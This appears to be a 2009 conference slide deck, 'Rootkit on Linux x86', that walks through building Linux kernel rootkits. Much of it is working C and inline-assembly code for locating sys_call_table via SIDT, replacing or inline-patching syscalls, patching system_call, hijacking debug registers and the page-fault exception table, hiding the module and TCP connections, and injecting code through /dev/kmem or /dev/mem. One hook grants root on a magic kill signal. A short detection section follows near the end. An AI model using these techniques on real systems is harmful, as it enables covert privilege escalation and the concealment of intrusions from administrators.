Вы находитесь на странице: 1из 72

Rootkit on Linux x86

WangYao 2009-08-02

NOTE

The report and code is very evil. Enjoy it at your own risk.

Index

Rootkit In Brief Rootkit based on LKM


How to get sys_call_table Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers Hijack Linux Page Fault Handler Kprobe Real Rootkit Using /dev/kmem and kmalloc Using /dev/mem and kmalloc

Rootkit based non-LKM


Other Detect and Protect Methods More rootkits

Rootkits In Brief

A rootkit is a set of software tools intended to conceal running processes, files or system data from the operating system Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules. Rootkit, Trojans, Virus, Malware?

Now, they often bind together, be called malware.

Rootkits' Category

UserSpace Rootkit

Run in user space Modify some files,libs,config files, and so on. Run in kernel space Modify kernel structures, hook system calls at the lowest level

KernelSpace Rootkit

Rootkits' Common Function


Hide Process Hide File Hide Network Connection Back Door Key Logger Hide Self

Key words

Hijack Hook IDT Int 0x80/sysenter system_call sys_call_table __ex_table Debug Register

Rootkit's implement

Hook system call table Hook exception table Hook Some Kernel Struct's ops handler On-fly Kernel Patching through /dev/kmem or /dev/mem Static Kernel Patching

Hook system call table


Idtr system_call sys_call_table Syscall handlers in sys_call_table Opcode of syscalls

Rootkits based on LKM


How to get sys_call_table Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers Hijack Linux Page Fault Handler Real Rootkit

sys_call_table

How to get sys_call_table

Historically, LKM-based rootkits used the sys_call_table[] symbol to perform hooks on the system calls sys_call_table[__NR_open] = (void *) my_func_ptr; However, since sys_call_table[] is not an exported symbol anymore, this code isnt valid We need another way to find sys_call_table[]

How to get sys_call_table

The function system_call makes a direct access to sys_call_table[] (arch/i386/kernel/entry.S:240)


call *sys_call_table(,%eax,4)

In x86 machine code, this translates to:


0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

Where the 4 addr bytes form the address of sys_call_table[]

How to get sys_call_table

Problem: system_call is not exported too

Its not, but we can discover where it is!

system_call is set as a trap gate of the system (arch/i386/kernel/traps.c:1195): set_system_gate(SYSCALL_VECTOR,&system_call); In x86, this means that its address is stored inside the Interrupt Descriptor Table (IDT) The IDT location can be known via the IDT register (IDTR) And the IDTR, finally, can be retrieved by the SIDT (Store IDT) instruction

How to get sys_call_table

Steps to get sys_call_table

Get the IDTR using SIDT Extract the IDT address from the IDTR Get the address of system_call from the 0x80th entry of the IDT Search system_call for our code fingerprint We should have the address of sys_call_table[] by now, have fun!

IDT

IDT Descriptor
3 Types: Task Gate Interrupt Gate Trap Gate

get_system_call
void *get_system_call(void) { unsigned char idtr[6]; unsigned long base; struct idt_descriptor desc; struct idt_descriptor { unsigned short off_low; unsigned short sel; unsigned char none, flags; unsigned short off_high; };

asm ("sidt %0" : "=m" (idtr)); base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return((void *) ((desc.off_high << 16) + desc.off_low)); }

get_sys_call_table
void *get_sys_call_table(void *system_call) { unsigned char *p; unsigned long s_c_t; int count = 0; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; if (count++ > 500) { count = -1; break; } } if (count != -1) { p += 3; s_c_t = *((unsigned long *) p); } else s_c_t = 0; return((void *) s_c_t); }

Simple sys_call_table Hook


[...] asmlinkage int (*old_kill) (pid_t pid, int sig); [...] int init_module(void) { old_kill = sys_call_table[SYS_kill] ; sys_call_table[SYS_kill]= (void *) my_kill; [...] } void cleanup_module(void) { sys_call_table[SYS_kill] = old_kill; [...] }

...
sys_exit 0xc0123456 sys_fork 0xc0789101 sys_read 0xc0112131 Sys_write 0xc0415161
0xc0123456: .. 0xc0789101: .. 0xc0112131: .. 0xc0415161: .. int sys_exit(int) int sys_fork(void) int sys_read(int,void*,int) int sys_write(int,void*,int)

...

Hacked Write

0xbadc0ded: int hacked_write(int,void*,void)

0xbadc0ded

Simple kill syscall hook


asmlinkage int hacked_kill(pid_t pid, int sig) { struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp; printk("pid: %d, sig: %d\n", pid, sig); if ((tpid == pid) && (tsig == sig)) { ptr->uid = 0; ptr->euid = 0; ptr->gid = 0; ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1); $whoami wangyao $Kill -s 58 12345 $whoami $root

Inline hook
...
sys_exit 0xc0123456 sys_fork 0xc0789101 sys_read 0xc0112131 sys_write 0xc0415161
0xc0123456: .. 0xc0789101: .. 0xc0112131: .. 0xc0415161: .. int sys_exit(int) int sys_fork(void) int sys_read(int,void*,int) int sys_write(int,void*,int) jmp hacked_write

...

Hacked Write

0xbadc0ded

0xbadc0ded: int hacked_write(int,void*,void) ret

Inline hook
printk("Init inline hook.\n"); s_call = get_system_call(); sys_call_table = get_sys_call_table(s_call); orig_kill = sys_call_table[__NR_kill]; memcpy(original_syscall, orig_kill, 5); buff = (unsigned char*)orig_kill; hookaddr = (unsigned long)hacked_kill; //buff+5+offset = hookaddr offset = hookaddr - (unsigned int)orig_kill - 5; printk("hook addr: %x\n", hookaddr); printk("offset: %x\n", offset); *buff = 0xe9; //jmp *(buff+1) = (offset & 0xFF); *(buff+2) = (offset >> 8) & 0xFF; *(buff+3) = (offset >> 16) & 0xFF; *(buff+4) = (offset >> 24) & 0xFF; printk("Modify kill syscall.\n");

Detect simple sys_call_table hook and inline hook

Detections

Saves the addresses of every syscall Saves the checksums of the first 31 bytes of every syscalls code Saves the checksums of these data themselves

Now you cant change the addresses in the system call table Also cant patch the system calls with jmps to your hooks More Tricks......

Patching system_call

How to hook all syscalls, without modify sys_call_table and IDT? You can modify int 0x80's handler(system_call), and manage the system calls directly.

system_call
---- arch/i386/kernel/entry.S ---# system call handler stub ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_THREAD_INFO(%ebp) cmpl $(nr_syscalls), %eax jae syscall_badsys ---> Those two instrutions will replaced by ---> Our Own jump

# system call tracing in operation testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) jnz syscall_trace_entry syscall_call: call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) # store the return value .... ---- eof ----

Patching system_call Trick

Original Code: 11 Bytes


'cmpl $(nr_syscalls), %eax' ==> 5 Bytes 'jae syscall_badsys' ==> 6 Bytes 'pushl $addr' ==> 5 Bytes 'ret' ==> 1 Bytes

Jump Code: 6 Bytes


set_sysenter_handler
void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* Seek "call *sys_call_table(,%eax,4)"*/ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* Seek "jae syscall_badsys" */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--; p -= 5; memcpy(orig_sysenter, p, 6); start_patch_sysenter = p; /* We put the jump*/ *p++ = 0x68; /*pushl*/ p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); /*now, "jae"-->ret*/ p = (unsigned char *) p2; *p = 0xc3; /*ret*/ }

new_idt & hook


void new_idt(void) { ASMIDType ( "cmp %0, %%eax \n" "jae syscallbad \n" "jmp hook \n" "syscallbad: "jmp syscall_exit : : "i" (NR_syscalls) ); } } \n" \n" void hook(void) { register int eax asm("eax"); switch (eax) { case __NR_kill: CallHookedSyscall(hacked_kill); break; default: JmPushRet(syscall_call); break; } JmPushRet( after_call );

Detect system_call hook

Trick 1: Copy the system call table and patch the proper bytes in system_call with the new address

This can be avoided by having St. Michael making checksums of system_call code too

Trick 2: Copy system_call code, apply Trick 1 on it, and modified the 0x80th ID in the IDT with the new address

This can be avoided by having St. Michael storing the address of system_call too

Abuse Debug Registers

DBRs 0-3: contain the linear address of a breakpoint. A debug exception (# DB) is generated when the case in an attempt to access at the breakpoint DBR 6: lists the conditions that were present when debugging or breakpoint exception was generated DBR 7: Specifies forms of access that will result in the debug exception to reaching breakpoint

Debug Registers

Evil Ideas of abusing debug Registers

Based on the above far this allows us to generate a #DB when the cpu try to run code into any memory location at our choice, even a kernel space Evil Ideas

Set breakpoint on system_call(in 0x80's handler) Set breakpoint on sysenter_entry(sysenter handler)

OMG, every syscall will be hooked!

Evil Ideas of abusing debug Registers

The #DB also be managed through IDT


ENTRY(debug) pushl $0 pushl $SYMBOL_NAME(do_debug) jmp error_code

fastcall void do_debug(struct *pt_regs,int errorcode)

At the moment we can then divert any flow execution kernel to do_debug, without changing a single bit of text segment!

Some breakpoint code


/* DR2 2nd watch on the syscall_table entry for this syscall */ dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *); /* set dr2 read watch on syscall_table */ __asm__ __volatile__ ( "movl %0,%%dr2 \n\t" : : "r" (dr2) ); /* get dr6 */ __asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) ); /* enable exact breakpoint detection LE/GE */ s_control |= TRAP_GLOBAL_DR2; s_control |= TRAP_LE; s_control |= TRAP_GE; s_control |= DR_RW_READ << DR2_RW; s_control |= 3 << DR2_LEN; /* set new control .. gives up syscall handler to avoid races */ __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (s_control) );

Hook do_debug

When hardware breakpoints appear, kernel will call do_debug(). BUT orignal do_debug() not set eip to our evil func. So we must hook do_debug() ourself. It means that INT 1 of IDT, will be set hacked_do_debug() insead of do_debug().

Find do_debug
KPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn) debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROC KPROBE_END(debug)

Patch do_debug
static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug) { unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = "\x00\x00\x00\x00"; unsigned int offset = 0, orig = 0; /* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) p ++; buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4]; offset = *(unsigned int *)buf; orig = offset + (unsigned int)p + 5; offset = my_do_debug - (unsigned int)p - 5; p[1] p[2] p[3] p[4] } = (offset & 0x000000ff); = (offset & 0x0000ff00) >> 8; = (offset & 0x00ff0000) >> 16; = (offset & 0xff000000) >> 24;

return orig;

Debug register hook

From hacked_do_debug can then have access to the value of eip representing the return address on the person who triggered the breakpoint, which is the kernel in our case, so you can change at will the flow of execution after the procedure! Changing eip can send a running our routine that once made the 'dirty work' take care to restore the original flow of execution
regs->eip = (unsigned int)hook_table[regs->eax];

Execution flow

hacked_do_debug
hacked_do_debug():
/* get dr6 */ __asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) ); ...... /* check for trap on dr2 */ if (status & DR_TRAP2) { trap = 2; status &= ~DR_TRAP2; } ...... if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]) { /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { // regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax, verify_hook, \ (unsigned int)hook_table[regs->eax])); } } ......

More Evil

We modified do_debug(), if someone check the address of do_debug(), will find the rootkit. Wait, if we set another hardware breakpoint on do_debug()'s address. It means that we can return someone the wrong address of do_debug(), and can not be detected. Debug Regiser Save us again :-)

Hijack Linux Page Fault Handler

4 cases which Page Fault exceptions may occur in Kernel Mode:

The kernel attempts to address a page belonging to the process address space, but either the corresponding page frame does not exist or the kernel tries to write a read-only page. In these cases, the handler must allocate and initialize a new page frame. The kernel addresses a page belonging to its address space, but the corresponding Page Table entry has not yet been initialized . In this case, the kernel must properly set up some entries in the Page Tables of the current process. Some kernel functions include a programming bug that causes the exception to be raised when that program is executed; alternatively, the exception might be caused by a transient hardware error. When this occurs, the handler must perform a kernel oops. A system call service routine attempts to read or write into a memory area whose address has been passed as a system call parameter, but that address does not belong to the process address space.

Detect 4 page fault cases

The faulty linear address is included in one of the memory regions owned by the process. The corresponding master kernel Page Table entry includes a proper non-null entry that maps the address. How to distinguish 3 case and 4 case?

The Exception Tables(__ex_table)

The Exception Tables

The key to determining the source of a Page Fault lies in the narrow range of calls that the kernel uses to access the process address space. The Exception Tables is stored in the _ _ex_table section of the kernel code segment, and its starting and ending addresses are identified by two symbols produced by the C compiler: _ _start_ _ _ex_table and _ _stop_ _ _ex_table.
struct exception_table_entry { unsigned long insn, fixup; }; ...... if ((fixup = search_exception_tables(regs->eip))) { regs->eip = fixup->fixup; return 1; }

get_user_x example
_ _get_user_1: [...] 1: movzbl (%eax), %edx [...] _ _get_user_2: [...] 2: movzwl -1(%eax), %edx [...] _ _get_user_4: [...] 3: movl -3(%eax), %edx [...] bad_get_user: xorl %edx, %edx movl $-EFAULT, %eax ret .section _ _ex_table,"a" .long 1b, bad_get_user .long 2b, bad_get_user .long 3b, bad_get_user .previous

Steps

Set _ex_table Page Permission to RDWR Set hook func's address to page fault handler's fixup code address in _ex_table Save Back _ex_table's Page Permission Userspace Create Page Fault Condition, using invalid address of syscall Save back page fault handler's fixup code address in _ex_table

Modify Page Permission

Clear CR0 WP flag

When the processor is in supervisor mode and the WP flag in register CR0 is clear (its state following reset initialization), all pages are both readable and writable (write-protection is ignored). CR0.WP=0

Using change_page_attr() Kernel API

Kprobe

Kprobes enables you to dynamically break into any kernel routine and collect debugging and performance information non-disruptively. You can trap at almost any kernel code address, specifying a handler routine to be invoked when the breakpoint is hit. Kprobe is so cool, also can used to write rookit;-) BUT Debian kernel whithout CONFIG_KPROBE ;-( You can Refer Kernel's sample: samples/kprobes/jprobe_example.c samples/kprobes/kprobe_example.c

Real Rootkit

Strace system call Hook system call Hide rootkit self

Strace system call


$strace ls ...... open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3 fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC) getdents64(3, /* 9 entries */, 4096) = 272 getdents64(3, /* 0 entries */, 4096) = 0 close(3) =0 ...... $strace ps ...... stat64("/proc/3105", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open("/proc/3105/stat", O_RDONLY) =6 read(6, "3105 (kmpathd/0) S 2 0 0 0 -1 41"..., 1023) = 130 close(6) =0 ...... $strace netstat -ant ...... open("/proc/net/tcp", O_RDONLY) =3 read(3, " sl local_address rem_address "..., 4096) = 600 write(1, "tcp 0 0 0.0.0.0:21 "..., 80) = 80 write(1, "tcp 0 0 192.168.122."..., 80) = 80 write(1, "tcp 0 0 127.0.0.1:63"..., 80) = 80 read(3, "", 4096) =0 close(3) =0 ......

Hook system call

Have be discussed Previously


Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers

Hide module & network


struct module *m = &__this_module; /* Delete from the module list*/ if (m->init == init_module) list_del(&m->list);

struct proc_dir_entry *tcp = proc_net->subdir->next; /* redefine tcp4_seq_show() */ while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir)) tcp = tcp->next; /* Hide TCP Connection Information in /proc/net/tcp */ if (tcp != proc_net->subdir) { orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; }

Rootkits based on non-LKM

Access kernel resource from userspace through some infrastructure of Linux, Mostly based on /dev/kmem and /dev/mem. Famous rootkit

suckit

/dev/kmem

/dev/kmem

Kernel space virtual memory snapshot Physical memory snapshot read/write mmap

/dev/mem

Hacking

Using kmalloc based non-LKM code injection

The addresses of the syscall table and of the function kmalloc() within the kernel are found by searching kernel memory for certain patterns. The function kmalloc() is internal to the kernel and needed to reserve space in kernel memory. The address of kmalloc() is put into an unused entry of the syscall table. kmalloc() is executed as a system call and memory in the kernel is allocated. The rootkit is written to the freshly reserved space in the kernel. The address of the rootkit is put into the unused entry of the syscall table, overwriting the address of kmalloc(). The rootkit is called as a system call and finally running in kernel mode.

Opcode
#objdump -d simplehook.ko 0000005b <hacked_kill>: 5b:8b 4c 24 04 5f: 64 a1 [00 00 00 00] 65:8b 54 24 08 69:81 f9 39 30 00 00 6f: 75 05 71:83 fa 3a 74:74 0f 76:89 4c 24 04 7a:b9 [45 ba 12 c0] 7f: 89 54 24 08 83:ff e1 85:c7 80 d4 01 00 00 00 8c:00 00 00 8f: c7 80 d8 01 00 00 00 96:00 00 00 99:c7 80 e4 01 00 00 00 a0:00 00 00 a3:c7 80 e8 01 00 00 00 aa:00 00 00 ad:31 c0 af: c3 mov 0x4(%esp),%ecx mov %fs:0x0,%eax <---- current(per_cpu__current_task) mov 0x8(%esp),%edx cmp $0x3039,%ecx jne 76 <hacked_kill+0x1b> cmp $0x3a,%edx je 85 <hacked_kill+0x2a> mov %ecx,0x4(%esp) mov $0xc012ba45,%ecx <---- sys_kill mov %edx,0x8(%esp) jmp *%ecx movl $0x0,0x1d4(%eax) movl $0x0,0x1d8(%eax) movl $0x0,0x1e4(%eax) movl $0x0,0x1e8(%eax) xor ret %eax,%eax

Steps of suckit 1.3a


Sidt read/mmap /dev/kmem Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......(same as above)

Detection of rootkit based /dev/kmem

Most of distributions have disabled /dev/kmem feature. Device Drivers => Character Devices => /dev/kmem virtual device support BUT Debian still has this hole ;-) Detection:

Using the same steps to check sys_call_table Using LKM to check sys_call_table

/dev/mem

/dev/mem

Driver interface to physically addressable memory. lseek() to offset in file = offset in physical mem

EG: Offset 0x100000 = Physical Address 0x100000

Reads/Writes like a regular character device Same techniques with Virt -> Phys address translation

/dev/mem is same with /dev/kmem

Address Translation

Higher half GDT loading concept applies Bootloader trick to use Virtual Addresses along with GDT in unprotected mode to resolve physical addresses.

Kernel usually loaded at 0x100000 (1MB) in physical memory Mapped to 0xC0100000 (3GB+1MB) Virtually

Address Translation

0xC0100000 + 0x40000000 =0xC0100000 0xC0000000 =0x00100000

/dev/mem's address translation code


#define KERN_START 0xC0000000 int iskernaddr(unsigned long addr) { /*is address valid?*/ if(addr<KERN_START) return -1; else return 0 ; } /*read from kernel virtual address*/ int read_virt(unsigned long addr, void *buf, unsigned int len) { if( iskernaddr(addr)<0 ) return -1; addr = addr - KERN_START; lseek(mem_fd, addr, SEEK_SET); return read(mem_fd, buf, len); }

Steps of rootkit using /dev/mem and kmalloc


Sidt Read /dev/mem [address translation] Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......(same as above)

Detection of rootkit based /dev/mem

SELinux has created a patch to address this problem (RHEL and Fedora kernels are safe) Mainline kernel addressed this from 2.6.26

Kernel Hacking => Filter access to /dev/mem

BUT Debian still has this hole ;-) Detection:


Using the same steps to check sys_call_table Using LKM to check sys_call_table

Other Detect and Protect Methods


Disable LKM,/dev/kmem,/dev/mem Filesystem integrity Signature-based


idt system_call sys_call_tabel opcode of syscalls __ex_table

Behavioral analysis Execution path analysis


Instruction Number Execution Time EIP Position

Binary analysis Outlier analysis

More rootkits

BIOS rootkit PCI rootkit Virtualize Machine rootkit

subvirt NTLDR Grub

Bootkit

Reference

LKM Rootkits on Linux x86 v2.6: http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt Mistifying the debugger, ultimate stealthness http://www.phrack.com/issues.html?issue=65&id=8 Advances in attacking linux kernel http://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux% Hijacking Linux Page Fault Handler http://www.phrack.com/issues.html?issue=61&id=7 Kernel-Land Rootkits http://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps Intel 64 and IA-32 Architectures Software Developer's Manuals www.intel.com/products/processor/manuals/ Developing Your Own OS On IBM PC http://docs.huihoo.com/gnu_linux/own_os/index.htm Handling Interrupt Descriptor Table for fun and profit http://www.phrack.org/issues.html?issue=60&id=6 Execution path analysis: finding kernel based rootkits http://www.phrack.org/issues.html?issue=59&id=10 Malicious Code Injection via /dev/mem

Show Time;-)

Q&A

Вам также может понравиться